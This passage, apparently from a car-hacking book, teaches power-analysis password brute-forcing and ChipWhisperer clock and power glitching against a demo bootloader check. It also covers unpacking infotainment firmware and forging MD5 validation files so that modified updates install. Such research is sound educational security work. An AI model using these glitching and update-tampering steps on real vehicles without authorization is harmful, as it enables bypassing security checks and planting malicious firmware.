you	can	script	these	power	traces	to	create	a	brute-forcer	that	can	get	the
password	for	the	bootloader	very	quickly.	By	setting	a	script	to	check



whether	the	data	points	of	the	power	trace	exceed	a	set	threshold,	your
brute-forcer	can	immediately	tell	whether	the	target	character	is	correct.	By
looking	at	the	data	values	on	the	y-axis	in	Figure	8-18,	we	can	see	that	when
we	have	activity,	data	reaches	0.1,	but	when	we’re	in	the	infinite	loop,	it
hovers	around	the	0	mark.	If	the	target	character	is	correct,	the	threshold	for
our	script	can	be	set	to	0.1,	and	if	no	data	in	the	sample	range	of	a	byte
reaches	0.1,	then	we	can	conclude	that	we’re	in	the	infinite	loop	and	the
password	character	was	incorrect.

For	example,	if	the	password	is	made	up	of	255	different	characters	with	a
maximum	length	of	3,	the	password	will	be	one	of	2553,	or	16,581,375,
possibilities.	However,	because	we	can	instantly	detect	when	we	have	a
correct	character,	in	a	worst-case	scenario,	the	brute-forcer	will	have	to	try
only	255	×	3,	or	765,	possibilities.	If	the	character	doesn’t	match	the	set
password,	the	bootloader	jumps	into	the	infinite	loop.	On	the	other	hand,	if
the	password	check	routine	waited	until	the	entire	password	was	checked
regardless	of	its	correctness,	this	type	of	timing	analysis	couldn’t	be	done.
The	fact	that	the	small	code	on	embedded	systems	is	often	designed	to	be	as
efficient	as	possible	can	open	it	up	to	devastating	timing	attacks.

NOTE

For	details	on	how	to	write	your	own	brute-forcer	for	the	ChipWhisperer,	see
the	NewAE	tutorials.	A	sample	brute-forcer	is	included	at
http://www.nostarch.com/carhacking/.

Secure	bootloaders	and	any	embedded	system	that	checks	for	a	valid	code
can	be	susceptible	to	this	type	of	attack.	Some	automotive	systems	require	a
challenge	response	or	a	valid	access	code	to	access	lower-level	functions.
Guessing	or	brute-forcing	these	passwords	can	be	very	time	consuming	and
would	make	traditional	brute-forcing	methods	unrealistic.	By	using	power
analysis	to	monitor	how	these	passwords	or	codes	are	being	checked,	you	can
derive	the	password,	making	something	that	would’ve	been	too	time
consuming	to	crack	completely	doable.

Fault	Injection
Fault	injection,	also	known	as	glitching,	involves	attacking	a	chip	by	disrupting

http://www.nostarch.com/carhacking/


its	normal	operations	and	potentially	causing	it	to	skip	running	certain
instructions,	such	as	ones	used	to	enable	security.	When	reading	a	chip’s
data	sheet,	you’ll	see	that	attached	to	the	range	for	clock	speeds	and	power
levels	is	a	warning	that	failing	to	stick	to	these	ranges	will	have	unpredictable
results—and	that’s	exactly	what	you’ll	take	advantage	of	when	glitching.	In
this	section,	you’ll	learn	how	to	introduce	faults	by	injecting	faults	into	clock
speeds	and	power	levels.

Clock	Glitching
Any	ECU	or	chip	will	rely	on	an	internal	clock	to	time	its	instructions.	Each
time	the	microcontroller	receives	a	pulse	from	the	clock,	it	loads	an
instruction,	and	while	that	instruction	is	being	decoded	and	executed,	the
next	instruction	is	being	loaded.	This	means	that	a	steady	rhythm	of	pulses	is
needed	for	the	instructions	to	have	time	to	load	and	execute	correctly.	But
what	happens	if	there’s	a	hiccup	during	one	of	these	clock	pulses?	Consider
the	clock	glitch	in	Figure	8-19.

Figure	8-19:	Normal	clock	cycle	(top)	and	glitched	clock	cycle	(bottom)

Because	the	Program	Counter	has	time	to	increment	but	not	enough
time	to	decode	and	execute	the	instruction	before	the	next	instruction	is
loaded,	the	microcontroller	will	usually	skip	that	instruction.	In	the	bottom
cycle	of	Figure	8-19,	instruction	3	is	skipped	because	it	does	not	have
enough	time	to	execute	before	another	instruction	is	issued.	This	can	be
useful	for	bypassing	security	methods,	breaking	out	of	loops,	or	re-enabling
JTAG.

To	perform	a	clock	glitch,	you	need	to	use	a	system	faster	than	your
target’s	system.	A	field-programmable	gate	array	(FPGA)	board	is	ideal,	but
you	can	accomplish	this	trick	with	other	microcontrollers,	too.	To	perform



the	glitch,	you	need	to	sync	with	the	target’s	clock,	and	when	the	instruction
you	want	to	skip	is	issued,	drive	the	clock	to	ground	for	a	partial	cycle.

We’ll	demonstrate	a	clock-glitching	attack	using	the	ChipWhisperer	and
some	demo	software	made	for	this	kind	of	attack.	The	Victim	Board	setup	is
almost	the	same	as	for	the	power	attack,	except	that	you’ll	need	to	change
the	jumpers	for	the	Clock	pin	(in	the	middle	of	the	board),	which	should	be
set	only	for	FPGAOUT	by	jumping	the	pins	(see	Figure	8-20).

Figure	8-20:	MultiTarget	Victim	Board	set	for	glitching

We’ll	set	up	the	ChipWhisperer	to	control	the	clock	of	the	ATmega328.
Both	the	general	settings	and	the	target	settings	are	the	same	as	in	the	power
attack	discussed	in	“Setting	Up	the	ChipWhisperer	for	Serial
Communications”	on	page	140;	the	only	exception	is	that	we’ll	set	the	baud
rate	to	38400	for	both	TX	and	RX.	Enable	both	the	Scope	and	Target	by
switching	from	DIS	to	CON	in	the	toolbar,	as	discussed	earlier.	Figure	8-21
and	Table	8-4	show	the	complete	settings.



Figure	8-21:	Scope	settings	for	glitching

Table	8-4:	ChipWhisperer	Main	Window	Settings	for	a	Clock-Glitch	Attack

Area Category Setting Value

OpenADC ADC	Clock Frequency
Counter	Src

CLKGEN	Output



OpenADC CLKGEN
Settings

Desired
Frequency

7.37	MHz

OpenADC CLKGEN
Settings

Reset	CLKGEN
DCM

Push	button

Glitch	module Clock	Source 	 CLKGEN

CW	Extra Trigger	Pins Target	HS	IO-
Out

Glitch	Module

These	settings	give	the	ChipWhisperer	full	control	of	the	target	board’s
clock	and	allow	you	to	upload	the	glitch	demo	firmware.	You’ll	find	the
firmware	for	the	target	in	the	ChipWhisperer	framework	in	this	directory:
hardware/victims/firmware/avr-glitch-examples.	Open	glitchexample.c	in	your
favorite	editor	and	then	go	to	the	main()	method	at	the	bottom	of	the	code.
Change	glitch1()	to	glitch3()	in	order	to	follow	along	with	this	demo,	and
then	recompile	the	glitchexample	firmware	for	the	ATmega328p:

$	make	MCU=atmega328p

Now,	upload	the	glitchexample.hex	file	via	AVRDUDESS,	as	we	did	in
“Prepping	Your	Test	with	AVRDUDESS”	on	page	139.	Once	the	firmware
is	loaded,	switch	to	the	main	ChipWhisperer	window	and	open	a	serial
terminal.	Click	Connect,	and	then	switch	to	AVRDUDESS	and	click
Detect.	This	should	reset	the	chip	so	that	you	see	hello	appear	in	the
capture	terminal.	Enter	a	password,	and	click	Send.	Assuming	you	enter	the
wrong	password,	the	capture	terminal	should	display	FOff	and	hang,	as
shown	in	Figure	8-22.



Figure	8-22:	A	bad	password	example

Now	return	to	your	editor	and	look	at	the	glitchexample	source	code.	As
shown	in	Listing	8-2,	this	is	a	simple	password	check.

for(cnt	=	0;	cnt	<	5;	cnt++){
if	(inp[cnt]	!=	passwd[cnt]){
passok	=	0;
}
}

if	(!passok){
output_ch_0('F');
output_ch_0('O');
output_ch_0('f');
output_ch_0('f');
output_ch_0('\n');
}	else	{
output_ch_0('W');
output_ch_0('e');
output_ch_0('l');
output_ch_0('c');
output_ch_0('o');
output_ch_0('m');
output_ch_0('e');
output_ch_0('\n');
}



Listing	8-2:	Password	check	method	for	glitch3()

If	an	invalid	password	is	entered,	passok	is	set	to	0,	and	the	message	Foff
is	printed	to	the	screen;	otherwise,	Welcome	is	printed	to	the	screen.	Our	goal
is	to	introduce	a	clock	glitch	that	bypasses	the	password	verification	either	by
skipping	over	the	instruction	that	sets	passok	to	0	(so	that	it’s	never	set	to	0)
or	by	jumping	straight	to	the	welcome	message.	We’ll	do	the	latter	by
manipulating	the	width	and	offset	percentages	in	the	glitch	settings.

Figure	8-23	shows	some	possible	places	to	locate	the	glitch.	Different
chips	and	different	instructions	react	differently	depending	on	where	your
glitch	is	placed,	so	experiment	to	determine	which	location	works	best	for
your	situation.	Figure	8-23	also	shows	what	a	normal	clock	cycle	looks	like
under	a	scope.	If	we	use	a	positive	offset	in	the	ChipWhisperer	settings,	it’ll
cause	a	brief	drop	in	the	middle	of	the	clock	cycle.	If	we	use	a	negative	offset,
it’ll	cause	a	brief	spike	before	the	clock	cycle.

We’ll	set	the	following	glitch	options	in	the	ChipWhisperer	to	cause	a
brief	spike	before	the	clock	cycle	by	using	a	–10	percent	offset:

Glitch	width	%:	7
Glitch	Offset	%:	-10
Glitch	Trigger:	Ext	Trigger:	Continuous
Repeat:	1



Figure	8-23:	Example	glitch	placements

Now	return	to	the	ChipWhisperer	main	window	to	set	up	the	CW
Extras,	as	shown	in	Figure	8-24.	This	will	configure	the	ChipWhisperer	to



cause	the	clock	glitch	only	when	it	gets	a	signal	from	the	trigger	line.

Figure	8-24:	Glitch	setup	in	the	CW	Extra	Settings

NOTE

Glitching	is	an	inexact	science.	Different	chips	will	respond	to	settings
differently,	and	you’ll	need	to	play	around	with	settings	a	lot	to	get	the	timing
right.	Even	if	you	fail	to	exploit	the	clock	glitch	consistently,	often	you’ll	need	to
get	it	right	only	once	to	exploit	a	device.

Setting	a	Trigger	Line
Now	that	we	have	the	ChipWhisperer	set	up	to	listen	for	a	signal	on	the
trigger	line,	we	need	to	modify	the	code	to	use	the	trigger	line.	The	trigger
line	is	pin	16	on	the	ChipWhisperer	connector.	When	the	trigger	line
receives	a	signal	(voltage	peaks),	it	triggers	the	ChipWhisperer	software	to
spring	into	action.

The	trigger	line	is	a	generic	input	method	used	by	ChipWhisperer.	The
goal	is	to	get	the	trigger	line	to	receive	a	signal	just	before	the	point	we	want
to	attack.	If	we	were	looking	at	a	piece	of	hardware	and	noticed	a	light	come
on	just	before	the	area	we	wanted	to	attack,	we	could	solder	the	LED	to	the
trigger	line	in	order	to	make	the	ChipWhisperer	wait	until	just	the	right
moment.

For	this	demo,	we’ll	modify	the	firmware	to	make	the	trigger	line	go	off



in	the	area	we	want	to	glitch.	First	we’ll	add	some	code	to	the	default	glitch
3	example	shown	in	Listing	8-2.	Use	your	favorite	editor	to	add	the	defines
in	Listing	8-3,	toward	the	top	of	the	glitchexample.c.

#define	trigger_setup()	DDRC	|=	0x01
#define	trigger_high()	PORTC	|=	0x01
#define	trigger_low()	PORTC	&=	~(0x01)

Listing	8-3:	Setting	up	trigger	defines	in	glitchexample.c

Place	a	trigger_setup()	inside	the	main()	method	just	before	it	prints
hello,	and	then	wrap	your	target	with	the	trigger,	as	shown	in	Listing	8-4.

for(cnt	=	0;	cnt	<	5;	cnt++){
if	(inp[cnt]	!=	passwd[cnt]){
trigger_high();
passok	=	0;
trigger_low();
}
}

Listing	8-4:	Adding	trigger_high	and	trigger_low	around	passok	to	trigger
a	glitch

Now,	recompile	make	MCU=atmega328p,	and	reupload	the	firmware	to	the
Victim	Board.	(Make	sure	to	set	the	Glitch	Trigger	option	to	Manual	in	the
ChipWhisperer	settings	before	you	upload	the	firmware	or	you	may
accidentally	glitch	the	firmware	upload.)	Once	the	firmware	is	uploaded,
switch	the	Glitch	Trigger	option	back	to	Ext	Trigger:Continous.	Now,
enter	any	password.	If	you	get	a	Welcome	message,	you’ve	successfully
glitched	the	device,	as	shown	in	Figure	8-25.



Figure	8-25:	Successfully	glitching	password	check

Unfortunately,	in	the	real	world,	you	probably	won’t	be	able	to	use	a
trigger	line	in	the	same	way	because	you	won’t	have	access	to	the	target
source	or	a	trigger	event	won’t	be	close	enough	to	where	you	want	to	glitch.
In	such	cases,	you’ll	need	to	play	with	other	settings	and	the	Ext	trigger
offset.	Open	the	Glitch	Monitor	under	Tools	to	experiment	with	different
settings.

Power	Glitching
Power	glitching	is	triggered	like	clock	glitching:	you	feed	the	target	board
the	proper	power	at	a	steady	rate,	and	when	you	want	to	trigger	unexpected
results	at	particular	instructions,	you	either	drop	or	raise	the	voltage	to
interrupt	that	instruction.	Dropping	the	voltage	is	often	safer	than	raising	it,
so	try	that	first.	Each	microcontroller	reacts	differently	to	power	glitching,
so	play	around	at	different	points	and	power	levels	to	build	a	glitch	profile
and	see	what	types	of	behavior	can	be	controlled.	(When	instructions	are
skipped	via	power	glitching,	it’s	often	because	the	opcode	instruction	has
become	corrupted	and	done	something	other	than	the	intended	instruction
or	because	one	of	the	registers	has	become	corrupted.)



NOTE

Some	microcontrollers	aren’t	vulnerable	at	all	to	power	glitching,	so	test	with
your	target	chipset	before	trying	it	on	a	vehicle.

Power	glitching	can	also	affect	memory	reads	and	writes.	Depending	on
which	instruction	is	running	during	the	power	fault,	you	can	cause	the
controller	to	read	the	wrong	data	or	forget	to	write	a	value.

Invasive	Fault	Injection
Because	invasive	fault	injection	attacks	are	more	time-consuming	and
expensive	than	glitch	attacks,	we’ll	examine	them	only	briefly	here.
However,	if	you	need	to	do	the	job	and	you	have	the	resources,	invasive	fault
injection	is	often	the	best	way.	The	catch	is	that	it	doesn’t	preserve	the	target
and	can	even	destroy	it.

Invasive	fault	injection	involves	physically	unpacking	the	chip,	typically
with	acid	(nitric	acid	and	acetone)	and	using	an	electron	microscope	to
image	the	chip.	You	can	work	on	just	the	top	or	bottom	layer	of	the	chip	or
map	out	each	layer	and	decipher	the	logic	gates	and	internals.	You	can	also
use	microprobes	and	a	microprobe	station	to	inject	the	exact	signal	you	want
into	your	target.	By	the	same	token,	you	could	use	targeted	lasers	or	even
directed	heat	to	cause	optical	faults	to	slow	down	processes	in	that	region.
For	instance,	if	a	move	instruction	is	supposed	to	take	two	clock	cycles,	you
can	slow	the	registry	retrieval	to	make	it	late	for	the	next	instruction.

Summary
In	this	chapter,	you’ve	learned	several	advanced	techniques	for	attacking
embedded	systems;	these	techniques	will	become	only	more	valuable	as
automotive	security	improves.	You	learned	how	to	identify	chips	and
monitor	power	usage	to	create	a	profile	of	good	operations.	We	tested
whether	password	checks	could	be	attacked	by	monitoring	the	power	output
of	bad	characters	in	passwords,	ultimately	to	create	a	brute-forcing
application	using	power	analysis	to	cut	the	password	brute-force	time	down
to	seconds.	We	also	saw	how	clock	and	power	glitching	can	make
instructions	skip	at	key	points	in	the	firmware’s	execution,	such	as	during



validation	security	checks	or	when	setting	JTAG	security.



9
IN-VEHICLE	INFOTAINMENT	SYSTEMS

In-vehicle	infotainment	(IVI)	system	is	the	name	often	given	to	the	touchscreen
interface	in	a	car’s	center	console.	These	consoles	often	run	an	operating
system	such	as	Windows	CE,	Linux,	QNX,	or	Green	Hills	and	may	even
run	Android	in	a	VM	as	well.	They	can	support	numerous	features	with
varying	levels	of	integration	with	the	vehicle.

The	IVI	system	offers	more	remote	attack	surfaces	than	any	other	vehicle
component.	In	this	chapter,	you’ll	learn	how	to	analyze	and	identify	an	IVI
unit,	how	to	determine	how	it	works,	and	how	to	overcome	potential
hurdles.	Once	you	understand	your	IVI	system,	you’ll	have	gained	a	great
deal	of	insight	into	how	your	target	vehicle	works.	Gaining	access	to	the	IVI
system	will	not	only	allow	you	to	modify	the	IVI	itself	but	also	will	open	a
door	to	additional	information	about	how	your	vehicle	works,	such	as	how	it
routes	CAN	bus	packets	and	updates	the	ECU.	Understanding	the	IVI
system	can	also	provide	insight	into	whether	the	system	phones	home	to	the
manufacturer;	if	it	does,	you	can	use	access	to	the	IVI	to	see	what	data	is
being	collected	and	potentially	transmitted	back	to	the	manufacturer.

Attack	Surfaces
IVI	systems	typically	have	one	or	more	of	these	physical	inputs	that	you	can



use	to	communicate	with	a	vehicle:

Auxiliary	jack

•	CD-ROM

•	DVD

•	Touchscreen,	knobs	or	buttons,	and	other	physical	input	methods

•	USB	ports

One	or	more	wireless	inputs

•	Bluetooth

•	Cellular	connection

•	Digital	radio	(such	as	Digital	Audio	Broadcasting)

•	GPS

•	Wi-Fi

•	XM	Radio

Internal	network	controls

•	Bus	networks	(CAN,	LIN,	KWP,	K-Line,	and	so	on)

•	Ethernet

•	High-speed	media	bus

Vehicles	often	use	CAN	to	communicate	with	their	components,	such	as
modules,	ECUs,	IVI	systems,	and	telematic	units.	Some	IVI	systems	use
Ethernet	to	communicate	between	high-speed	devices,	whether	to	send
normal	IP	traffic	or	CAN	packets	using	Electronic	System	Design’s
NTCAN	or	the	Ethernet	low-level	socket	interface	(ELLSI).	(For	more	on
vehicle	protocols,	see	Chapter	2.)

Attacking	Through	the	Update	System
One	way	to	attack	the	IVI	system	is	to	go	after	its	software.	If	your	skill	set
primarily	lies	in	the	realm	of	software-related	services,	you	may	feel	most
comfortable	with	this	method,	and	if	you’ve	ever	researched	embedded



devices,	such	as	home	Wi-Fi	routers,	some	of	the	methods	discussed	in	the
following	should	look	familiar	to	you.

We’ll	focus	on	using	system	updates	to	gain	access	to	the	system.	It	may
be	possible	to	access	the	system	through	other	software	means,	such	as	a
debug	screen,	an	undocumented	backdoor,	or	a	published	vulnerability,	but
we’ll	focus	on	gaining	access	through	software	updates	because	that	method
is	the	most	generic	across	IVI	systems	and	is	the	primary	one	used	to	identify
and	access	a	target	system	via	software.

Identifying	Your	System
In	order	to	fully	understand	your	target	IVI	system,	you	must	first	determine
what	kind	of	software	it’s	running.	Next,	you	need	to	figure	out	how	to
access	this	software,	which	often	involves	looking	for	the	methods	the	IVI
uses	to	update	or	load	its	operating	system.	Once	you	understand	how	the
system	updates,	you’ll	have	the	knowledge	you	need	to	identify
vulnerabilities	and	modify	the	system.

Before	you	can	begin	making	modifications,	you	need	to	know	what
operating	system	the	IVI	is	running.	The	easiest	way	to	do	so	is	to	search	for
the	brand	of	the	IVI—first,	by	looking	for	a	label	on	the	outside	of	the	IVI
unit	or	frame.	If	you	don’t	see	a	label,	look	for	a	display	option	on	the
interface	that	displays	software	version	numbers	and	often	the	device	name.
Also,	check	online	to	see	whether	anyone	has	already	researched	your	target
system	and,	if	the	system	is	manufactured	by	a	third	party,	whether	it	has	a
website	and	firmware	updates.	Download	any	firmware	or	tools	you	can	find
for	later	use.	Find	out	how	the	system	is	updated.	Is	there	a	map	update
service	available?	What	other	update	methods	are	available?	Even	if	you	find
that	system	updates	are	sent	over	the	air,	it’s	usually	possible	to	find	USB
drives	or	a	DVD	containing	map	updates,	like	the	one	from	a	Honda	Civic
shown	in	Figure	9-1.



Figure	9-1:	NavTeq	infotainment	unit	in	an	open	state

This	IVI	has	a	normal	CD	tray	for	music	at	the	top	plus	a	hidden	plastic
door	at	the	bottom	that	folds	down	to	reveal	a	DVD	tray	holding	the	map
software.

Determining	the	Update	File	Type
System	updates	are	often	delivered	as	compressed	files	with	.zip	or	.cab	file
extensions,	but	sometimes	they	have	nonstandard	extensions,	like	.bin	or	.dat.
If	the	update	files	have	.exe	or	.dll	extensions,	you’re	probably	looking	at	a
Microsoft	Windows–based	system.

To	determine	how	the	files	are	compressed	and	their	target	architecture,
view	their	headers	with	a	hex	editor	or	use	a	tool	such	as	file	available	on
*nix-based	systems.	The	file	command	will	report	a	file’s	architecture,	such
as	ARM	or,	as	with	the	Honda	Civic	IVI	shown	in	Figure	9-1,	a	Hitachi
SuperH	SH-4	Processor.	This	information	is	useful	if	you	want	to	compile
new	code	for	a	device	or	if	you	plan	on	writing	or	using	an	exploit	against	it.

If	the	file	command	hasn’t	identified	the	type	of	file,	you	may	be	looking
at	a	packed	image.	To	analyze	a	firmware	bundle,	you	can	use	a	tool	such	as
binwalk,	which	is	a	Python	tool	that	uses	signatures	to	carve	out	files	from	a



collected	binary.	For	instance,	you	can	simply	run	binwalk	on	your	firmware
image	to	see	a	list	of	identified	file	types:

Using	the	-e	flag	would	extract	each	of	these	files	for	further	analysis	and
review.	In	this	example,	you	can	see	a	SquashFS	filesystem	was	detected.

This	filesystem	could	be	extracted	with	the	-e	flag	and	then	“unsquashed”
using	the	unsquashfs	tool	to	view	the	filesystem,	as	I’ve	done	here:

$	binwalk	-e	firmware.bin
$	cd	_firmware.bin.extracted
$	unsquashfs	-f	-d	firmware.unsquashed	140090.squashfs

The	binewalk	-e	commands	will	extract	all	known	files	from	firmware.bin
to	the	folder	_firmware.bin.extracted.	Inside	that	folder,	you’ll	see	files	named
after	their	hex	address	with	an	extension	that	matches	the	detected	file	type.
In	this	example,	the	squashfs	file	is	called	140090.squashfs	because	that	was	the
location	in	firmware.bin.

Modifying	the	System
Once	you	know	your	system’s	OS,	architecture,	and	update	method,	the	next
thing	to	do	is	to	see	whether	you	can	use	this	information	to	modify	it.	Some
updates	are	“protected”	by	a	digital	signature,	and	these	can	be	tricky	to
update.	But	often	there’s	no	protection	or	the	update	process	will	simply	use
an	MD5	hash	check.	The	best	way	to	find	these	protections	is	to	modify	the
existing	update	software	and	trigger	an	update.

A	good	starting	point	for	system	modification	is	something	with	a	visible
result,	like	a	splash	screen	or	icon	because	once	you	successfully	change	it,



you’ll	know	immediately	(see	Figure	9-2).

Figure	9-2:	Example	modification:	NavTeq	unit	with	a	modified	splash
screen

Figure	9-2	shows	how	I	modified	the	splash	screen	of	an	IVI	system	by
replacing	the	normal	background	image	with	a	Jolly	Roger	flag	and	the
vehicle’s	emblem	with	a	character	from	Street	Fighter.	Replacing	images	in
your	splash	screen	is	a	safe	way	to	ensure	you	can	modify	the	IVI	system
without	much	risk	of	breaking	the	system.

Find	an	image	in	your	update	file,	modify	it,	then	reburn	the	update
DVD	and	force	a	system	update.	(Find	out	how	in	the	IVI’s	manual.)	If	the
update	files	were	compressed	in	a	single	archive,	be	sure	to	recompress	the
modified	version	so	that	it	appears	in	the	same	format	as	before	you
modified	it.

If	you	run	into	a	checksum	issue	and	your	update	fails,	look	for	a	file	in
the	update	that	might	be	a	hash,	such	as	a	text	file	containing	strings	like



4cb1b61d0ef0ef683ddbed607c74f2bf.	You’ll	need	to	update	this	file	with	the
hash	of	your	new	modified	image.	You	may	be	able	to	guess	the	hashing
algorithm	by	looking	at	the	size	of	the	hash	and	performing	some	trial	and
error.	For	instance,	an	8-character	hash,	such	as	d579793f,	may	be	CRC32;	a
32-character	hash,	such	as	c46c4c478a4b6c32934ef6559d25002f,	may	be	an
MD5	hash;	and	a	40-character	hash,	such	as	0aaedee31976f-
350a9ef821d6e7571116e848180,	may	be	SHA-1.	These	are	the	three	most
common	hash	algorithms,	but	there	are	others	you	might	come	across,	and	a
quick	Google	search	or	reference	to	the	tables	at
https://en.wikipedia.org/wiki/List_of_hash_functions	should	give	you	a	clue	as	to
which	algorithm	was	used.

The	Linux	tools	crc32,	md5sum,	and	sha1sum	will	let	you	quickly	calculate
the	hash	of	an	existing	file	and	compare	it	to	the	contents	of	the	original	text
file.	If	you	can	generate	a	hash	that	matches	that	of	the	existing	file,	then
you’ve	found	the	correct	algorithm.

For	example,	say	you	find	a	single	file	on	an	update	DVD	called
Validation.dat	that	lists	the	contents	of	the	files	on	the	DVD,	as	shown	in
Listing	9-1.	This	listing	includes	the	names	of	three	files	on	the	DVD	and
their	associated	hashes.

09AVN.bin	b46489c11cc0cf01e2f987c0237263f9
PROG_INFO.MNG	629757e00950898e680a61df41eac192
UPDATE_APL.EXE	7e1321b3c8423b30c1cb077a2e3ac4f0

Listing	9-1:	Sample	Validation.dat	file	found	on	an	update	DVD

The	length	of	the	hash	listed	for	each	file—32	characters—suggests	that
this	might	be	an	MD5	hash.	To	confirm,	use	the	Linux	md5sum	tool	to
generate	an	MD5	hash	for	each	file.	Listing	9-2	shows	what	that	would	look
like	for	the	09AVN.bin	file.

$	md5sum	09AVN.bin
b46489c11cc0cf01e2f987c0237263f9	09AVN.bin

Listing	9-2:	Using	md5sum	to	see	the	hash	of	the	09AVN.bin	file

Compare	the	hash	for	09AVN.bin	in	Listing	9-1	with	the	results	of
running	md5sum	in	Listing	9-2,	and	you’ll	see	that	the	hashes	match;	we’re
indeed	looking	at	an	MD5	hash.	This	result	tells	us	that	in	order	to	modify

https://en.wikipedia.org/wiki/List_of_hash_functions


09AVN.bin,	we’d	need	to	recalculate	the	MD5	hash	and	update	the
Validation.dat	file	that	contains	all	the	hashes	with	the	new	hash.

Another	way	to	determine	the	algorithm	used	to	create	the	hash	is	to	run
the	strings	command	on	some	of	the	binaries	or	DLLs	in	your	update
package	to	search	for	strings	in	the	file,	like	MD5	or	SHA.	If	the	hash	is
small,	like	d579793f,	and	CRC32	doesn’t	seem	to	work,	you’re	probably
looking	at	a	custom	hash.

In	order	to	create	a	custom	hash,	you	need	to	understand	the	algorithm
used	to	create	that	hash,	which	will	require	digging	in	with	a	disassembler,
such	as	IDA	Pro,	Hopper,	or	radare2,	which	is	free.	For	instance,	Listing	9-3
shows	sample	output	from	a	custom	CRC	algorithm	viewed	in	radare2:

|	.------>	0x00400733	488b9568fff.	mov	rdx,	[rbp-0x98]
|-	fcn.0040077c	107
|	|||	|	0x0040073a	488d855ffff.	lea	rax,	[rbp-0xa1]
|	|||	|	0x00400741	4889d1	mov	rcx,	rdx
|	|||	|	0x00400744	ba01000000	mov	edx,	0x1
|	|||	|	0x00400749	be01000000	mov	esi,	0x1
|	|||	|	0x0040074e	4889c7	mov	rdi,	rax
|	|||	|	0x00400751	e8dafdffff	call	sym.imp.fread
|	|||	|	sym.imp.fread()
|	|||	|	0x00400756	8b9560ffffff	mov	edx,	[rbp-0xa0]

|	|||	|	0x0040075c	89d0	mov	eax,	edx	➊
|	|||	|	0x0040075e	c1e005	shl	eax,	0x5	➋
|	|||	|	0x00400761	01c2	add	edx,	eax	➌
|	|||	|	0x00400763	0fb6855ffff.	movzx	eax,	byte	[rbp-0xa1]
|	|||	|	0x0040076a	0fbec0	movsx	eax,	al
|	|||	|	0x0040076d	01d0	add	eax,	edx
|	|||	|	0x0040076f	898560ffffff	mov	[rbp-0xa0],	eax
|	|||	|	0x00400775	838564fffff.	add	dword	[rbp-0x9c],	0x1
|	||	;	CODE	(CALL)	XREF	from	0x00400731	(fcn.0040066c)
|	|`----->	0x0040077c	8b8564ffffff	mov	eax,	[rbp-0x9c]
|	|	|	|	0x00400782	4863d0	movsxd	rdx,	eax
|	|	|	|	0x00400785	488b45a0	mov	rax,	[rbp-0x60]
|	|	|	|	0x00400789	4839c2	cmp	rdx,	rax
|	`======<	0x0040078c	7ca5	jl	0x400733

Listing	9-3:	Disassembly	of	a	CRC	checksum	function	in	radare2

Unless	you’re	good	at	reading	low-level	assembler,	this	may	be	a	bit
much	to	start	with,	but	here	we	go.	The	algorithm	in	Listing	9-3	reads	in	a
byte	at	➊,	multiplies	it	by	5	at	➋,	and	then,	at	➌,	adds	it	to	the	hash	to
calculate	the	final	sum.	The	rest	of	the	assembly	is	mainly	used	by	the	read



loop	to	process	the	binary	file.

Apps	and	Plugins
Whether	your	goal	is	to	perform	firmware	updates,	create	custom	splash
screens,	or	achieve	other	exploitation,	you’ll	often	find	that	you	can	get	the
information	you	need	to	exploit	or	modify	a	vehicle	by	going	after	IVI
applications	rather	than	the	IVI	operating	system	itself.	Some	systems	allow
third-party	applications	to	be	installed	on	the	IVI,	often	through	an	app
store	or	a	dealer-customized	interface.	For	example,	you’ll	notice	there’s
usually	a	way	for	developers	to	sideload	apps	for	testing.	Modifying	an
existing	plugin	or	creating	your	own	can	be	a	great	way	to	execute	code	to
further	unlock	a	system.	Because	standards	are	still	being	written	to	define
how	applications	should	interface	with	the	vehicle,	every	manufacturer	is	free
to	implement	its	own	API	and	security	models.	These	APIs	are	often	ripe	for
abuse.

Identifying	Vulnerabilities
Once	you’ve	found	out	how	to	update	your	system—whether	by	modifying
the	splash	screen,	company	logo,	warranty	message,	or	other	item—you’re
ready	to	look	for	vulnerabilities	in	the	system.	Your	choice	of	how	to
proceed	will	depend	on	your	ultimate	goal.

If	you’re	looking	for	existing	vulnerabilities	in	the	infotainment	unit,	the
next	step	is	to	pull	all	the	binaries	off	the	IVI	so	you	can	analyze	them.	(This
research	is	already	covered	in	great	detail	in	several	books	about	reverse
engineering,	so	I	won’t	go	into	detail	here.)	Check	the	versions	of	binaries
and	libraries	on	the	system.	Often,	even	in	the	case	of	map	updates,	the	core
OS	is	rarely	updated,	and	there’s	a	good	chance	that	an	already	identified
vulnerability	exists	on	the	system.	You	may	even	find	an	existing	Metasploit
exploit	for	the	system!

If	your	goal	is,	for	example,	to	create	a	malicious	update	that	wiretaps	a
vehicle’s	Bluetooth	driver,	you	have	almost	everything	you	need	at	this	stage
to	do	so.	The	only	piece	you	may	still	need	is	the	software	development	kit
(SDK),	which	you	use	to	compile	the	target	system.	Getting	your	hands	on
one	will	make	your	task	much	easier,	although	it’s	still	possible	to	create	or
modify	a	binary	using	a	hex	editor	instead.	Often	the	infotainment	OS	is



built	with	a	standard	SDK,	such	as	the	Microsoft	Auto	Platform.
For	example,	consider	a	navigation	system	with	certain	protections

designed	to	prevent	a	customer	from	using	a	DVD-R	in	the	system.	The
manufacturer’s	original	idea	was	to	charge	owners	$250	to	purchase	updated
mapping	DVDs,	and	they	wanted	to	prevent	people	from	simply	copying
someone	else’s	DVD.

In	its	attempt	to	prevent	this	type	of	sharing,	the	manufacturer	added
several	DVD	checks	to	the	navigation	system,	as	shown	in	the	IDA	display
sample	code	in	Figure	9-3.	But	say	as	a	consumer	you	want	to	use	a	backup
copy	of	your	purchased	DVD	in	your	system	rather	than	the	original
because	your	car	gets	really	hot	during	the	day	and	you	don’t	want	the	DVD
to	warp.

While	an	ordinary	consumer	isn’t	likely	to	be	able	to	bypass	these	DVD
checks,	it	would	be	possible	to	locate	the	DVD	checks	and	replace	them	with
no-operation	instructions	(NOPs),	which	would	make	the	checks	literally	do
nothing.	Then	you	could	upload	this	modified	version	of	the	DVD	check	to
your	IVI	and	use	your	backup	DVD	for	navigation.

NOTE

All	the	hacks	mentioned	so	far	can	be	done	without	removing	the	unit.
However,	you	could	dig	even	deeper	by	taking	the	unit	out	and	going	after	the
chips	and	memory	directly,	as	discussed	in	Chapter	6.

Figure	9-3:	IDA	view	of	DVD	checks



Attacking	the	IVI	Hardware
If	you’re	more	comfortable	attacking	hardware	than	software	and	you’re	able
to	remove	the	IVI	from	the	target	vehicle,	you	can	go	after	the	IVI	system
hardware	instead.	For	that	matter,	if	you’ve	had	no	luck	accessing	the	IVI
system	software,	a	hardware	attack	might	provide	additional	insight	that’ll
help	you	find	a	way	in.	You’ll	sometimes	find	that	you	can	access	system
